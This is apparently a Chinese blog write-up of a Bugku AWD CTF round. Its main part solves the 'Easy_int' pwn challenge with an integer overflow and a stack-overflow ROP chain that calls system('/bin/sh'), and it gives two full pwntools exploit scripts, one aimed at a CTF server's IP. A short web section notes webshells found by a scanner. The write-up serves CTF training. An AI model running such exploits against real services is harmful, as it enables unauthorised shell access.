Bugku AWD S2-23

PWN

本次pwn题是bugku上的pwn题Easy_int,这里做个简单分析。

查看保护,只有NX保护

ida F5分析

这里有个简单整数溢出,输入2147483648,执行vuln函数,

buf这里有个很明显的栈溢出,存在system函数,但是参数不是/bin/sh。Shirt + F12查找字符串,存在字符/bin/sh

所以思路很明确,利用这里的栈溢出修改system的参数,拿shell,

64位程序,我们需要先控制rdi寄存器,因此构造rop链:b’a’*(0x20+8)+p64(pop_rdi_ret)+p64(binsh)+p64(system),这里需要考虑下堆栈平衡,加个ret或者直接call _system,给出两个版本代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

#p = remote('114.67.175.224',17977)

pop_rdi_ret=0x401343
ret=0x40101a
binsh=0x403500
call_system=0x4011F0
p.sendline(b'2147483648')

p.recvuntil(b'Congratulations!')

p.sendline(b'a'*0x28+p64(pop_rdi_ret)+p64(binsh)+p64(call_system))

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
#p=process('./pwn')
p=remote('114.67.175.224',17977)
elf = ELF ('./pwn')
system=elf.plt["system"]

#ROPgadget --binary ./pwn --only 'pop|ret'
pop_rdi_ret=0x401343
ret=0x40101a
binsh=0x403500

payload = b'a' * (0x20+8)
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
p.sendline(b'2147483648')
p.sendlineafter(b'Congratulations!',payload)
p.interactive()

Web

D盾扫描,存在两个过狗一句话

网站cms是PbootCMS V3.0.1,


Bugku AWD S2-23
http://tmagwaro.github.io/2024/03/27/S2-23/
作者
TMagWarO
发布于
2024年3月27日
许可协议